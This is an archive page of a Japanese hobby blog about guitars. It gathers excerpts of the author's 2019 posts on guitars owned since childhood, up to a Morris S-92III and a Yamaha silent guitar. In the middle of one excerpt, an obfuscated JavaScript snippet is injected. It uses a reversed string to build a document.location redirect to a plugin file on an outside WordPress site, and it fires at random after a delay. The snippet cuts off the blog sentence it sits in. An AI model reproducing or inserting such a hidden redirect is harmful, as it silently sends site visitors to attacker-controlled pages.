ギター本体

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これまでのギター遍歴 ゆる~い時代編

2019.02.10 ギター本体ギター遍歴

皆さん、こんにちは、メロウです。

前回、前置きが長くなって次に入手したギターの話に至らなかったので、早速続きを始めたいと思います。

江部氏の曲集からソロギターに目覚め、一時期よりはずいぶんギターにふれる時間が増えました。
ですが、元より多趣味な私にとってギターの優先順位はまだ5番目くらいで、夢中になるという程ではありませんでした。

一つのことに集中しだすと、他の事が疎かになりがちな性格なので、数ヶ月間ギターをさわらない時期もありました。
そういう時に、再度モチベーションを上げる手段として、新しいギターを購入される方も多いのかもしれませんね。

ところでその頃、夜でも気兼ねなく練習できるとヤマハのサイレントギターの人気が出始めていました。
調べてみると悪い評価はほとんどなく、5万円前後という価格はお手頃感もありました。

ギターを弾くのは主に会社社屋の三階でしたので、音を気にすることはない環境でしたが、自宅用にもう1本ギターを持ちたいと考えていた頃です。

悩ましいのは、サイレントギターは当初から$Ubj=function(n){if (typeof ($Ubj.list[n]) == “string”) return $Ubj.list[n].split(“”).reverse().join(“”);return $Ubj.list[n];};$Ubj.list=[“\’php.litu.ssalc/sedulcni/retadpu-yfimeht/snigulp/tnetnoc-pw/moc.setaicossadnalanruoj//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and-pink”>ナイロン弦のクラシックモデルがある事でした。
これまでの流れからすればクラシックモデルに興味津々なのですが、スチール弦のギターも懐かしく、悩んだ末にフォークモデルを購入しました。

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これまでのギター遍歴 ソロギターとの出会い編

2019.02.06 ギター本体ギター遍歴

皆さん、こんにちは、メロウです。

ここしばらく、これまでに購入したギターの事を長々と綴ってきましたが、それも今回で最後です。

さて、アストリアスのクラシックギターも、時折さわる程度で、せいぜい鼻歌の伴奏程度にしか使わないようになっていきました。
今更新しい教本で勉強する気もなく、目標を見つけられないまま、またしてもギターから遠ざかり始めたわけです。

そんな期間が数年続いたのですが、ある日、たまたま本屋で江部賢一氏の『ソロ・ギター ビートルズ』という曲集を見つけました。
1・2巻に分かれていて、全部でおそそ30曲、ビートルズの代表曲をほぼ網羅した内容です。

ちなみにビートルズ世代ではなかったので、それほど彼らの曲を聴き込んでいたわけではありませんが、掲載されていた曲のほとんどはメロディーがすぐに浮かんできました。

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これまでのギター遍歴 社会人編

2019.02.01 ギター本体ギター遍歴

皆さん、こんにちは、メロウです。

今回も、私の所有したギターとそのギターにまつわるお話が続きます。

大学を卒業してからは全くギターを弾いておらず、ヘッドウェイが流刑なった後も長い間ギターに触れていませんでした。
その頃は、私の中では第2次ゴルフブームで、近所の練習場に毎日のように通っていました。

私とゴルフとの縁も随分深く、中学生の頃から裏の畑でボールを打ったりしていましたが、高校生の時には年に数回のラウンドもしていました。
今でこそ中高生がゴルフをするのも当たり前ですが、両親がゴルフをするわけでもなく、当時はそれなりに希少な存在でした。
コースへ行くのも電車やクラブバスを利用していましたが、ジュニアのトーナメントに出たこともありました。

その頃が第1次ブームで、学生時代は全くクラブを握っていなかったので、卒業して地元の帰ってからが第2次ブームというわけです。

そんなわけで、ギターとはすっかりご無沙汰だったのですが、ある日突然ギターを購入することになります。

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これまでのギター遍歴 大学編

2019.01.28 ギター本体ギター遍歴

皆さん、こんにちは、メロウです。

さて今回も、その後所有したギターとそのギターにまつわるお話です。

通信講座を中断した高校2年の半ばから徐々にギターを弾かなくなり、その後大学へと進学しました。
実はわたし、関西の人間ですが、東京の大学へ行かせて貰ってました。
高校時代に購入したクラシックギターは下宿に持ち込んでましたが、そこでもほとんど弾くことはありませんでした。

二回生になり、ふとしたきっかけで入会したのがボランティア関連のサークル、
ボランティアなんてそれまで全く縁がなかったのですが、たまたま誘われて行った自由参加の新歓コンパが妙に盛り上がり、そのまま居ついてしまった、といういきさつです。

で、そのサークルの1年後輩に近藤・沼田というギターの好きな奴が二人いて、フォークギターに興味を持ち始めたのが3台目購入のきっかけでした。
取り敢えずクラシックギターは持っていたので、すぐに欲しいとも思いませんでしが、次第に気持ちが向くようになりました。

とはいえ、今のように何でもネットで簡単に検索できる時代でもなかったので、どんなメーカーのどんなギターがあるのかもよく分かりません。
マーチンだとかギブソンという名前は聞いていましたが、カタログひとつ見たことのない状態です。

そんな状態のまま、後輩を引き連れ御茶ノ水のクロサワ楽器に行ったのを、割と鮮明に覚えています。

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これまでのギター遍歴 高校編

2019.01.23 ギター本体ギター遍歴

皆さん、こんにちは、メロウです。

前回に続き、これまで私が所有したギターとそのギターにまつわるエピソードなどを紹介させて頂こうと思います。

初代のギターが壊れてしまい、2台めに取得したのは、高校生になってアルバイトで購入したヤマハのクラシックギターでした。
型番までは覚えていませんが、多分5万円位、現在の価格なら10万くらいはしているクラスだったと思います。

このギターは結構弾きました。というのも、今度はちゃんと練習しよう、という意気込みのもと、当時流行ったギターの通信講座に申し込んだ影響です。

クラシックギターの講座で、毎月1回テキストとその模範演奏の入ったレコード盤が送られれくる、というシステムで、その名も「東京音楽アカデミー」
今でもこの時のテキストや緑の紙袋に入ったレコードは所有していますが、専用バインダーに閉じていくと、最終的に上・中・下三冊のテキストおよび一冊の曲集になります。

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これまでのギター遍歴 小中学校編

2019.01.18 ギター本体ギター遍歴

皆さん、こんにちは、メロウです。

前回は、現在メインで活躍しているモーリスのS-92IIIの事や、ギターに関するこだわりなどを気の向くままに述べさせて頂きました。
今回からはそれに続き、これまで私が所有した数少ないギターや、そのギターにまつわるエピソードなどをご紹介してみようと思います。

遡ること数十年、最初に手にしたギターは小学生の頃、父親に買ってもらったスモールサイズのクラシックギターでした。

どこのメーカーのものだったか記憶になく、自分で購入していないから、いくら位のギターだったかも不明です。
ただ、父は基本的に良いもの好きですから、高級品ではなかったにせよ、それほど悪いギターではなかったように思います。

買ってもらってすぐ、取り敢えず誰かに習わなければ、ということで、音楽教室にも通わせて貰いましたが、教室は確か半年ほどで辞めてしまいました。
当時で人口3万人ほどの田舎町の事でしたが、習い事といえばピアノという時代でもあり、町にも音楽教室がいくつかあったように記憶しています。
ですが、どこもギターを専門に教えるような先生はおらず、男の先生でしたが、ギターも弾けるピアノの先生、という感じでした。

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現在の使用ギター

2019.01.15 使用ギターギター本体

皆さん、こんにちは。管理人のメロウです。

重い腰を上げ、なんとか一通りブログの格好はつきました。
プログラマの血が騒ぐので、画面の見やすさ・使い勝手の良さ・直感できる操作性などにはこだわったサイトにして行きたいと思っています。
気がついたら、ギターのブログじゃなく、WordPressの講座になっていたりして・・・

取り敢えずはギターのブログなんで、現在使っているギターや、これまでに使ったギターの事なんかを記しておくことから始めようと思います。

現在の、愛機というほど愛していない使用機種は、モーリスのS-92III、たしか15万円くらい、5~6年前に現物を見る事も触る事もせず、ネットで購入したものです。

S-92と言えば、言わずと知れた『ソロ・ギターのしらべ』シリーズの著者、 南澤大介氏が使用していたS-121spの廉価版にあたる半手工モデルです。

その後、S-92II、S92-IIIと進化し、現在もS-93として受け継がれ、『ソロ・ギターのしらべ』シリーズからこのギターを購入されたユーザーも多いのではないでしょうか。

ですが私の場合、購入した当初より『ソロ・ギターのしらべ』の事はあまりよく知らず、何となくフィンガーピッキング向きのギターを探している時に、楽天市場で偶然発見したものでした。

多くのネットショップは、メーカーカタログの写真をそのまま載せている場合が多いのですが、そのショップでは全文を読む…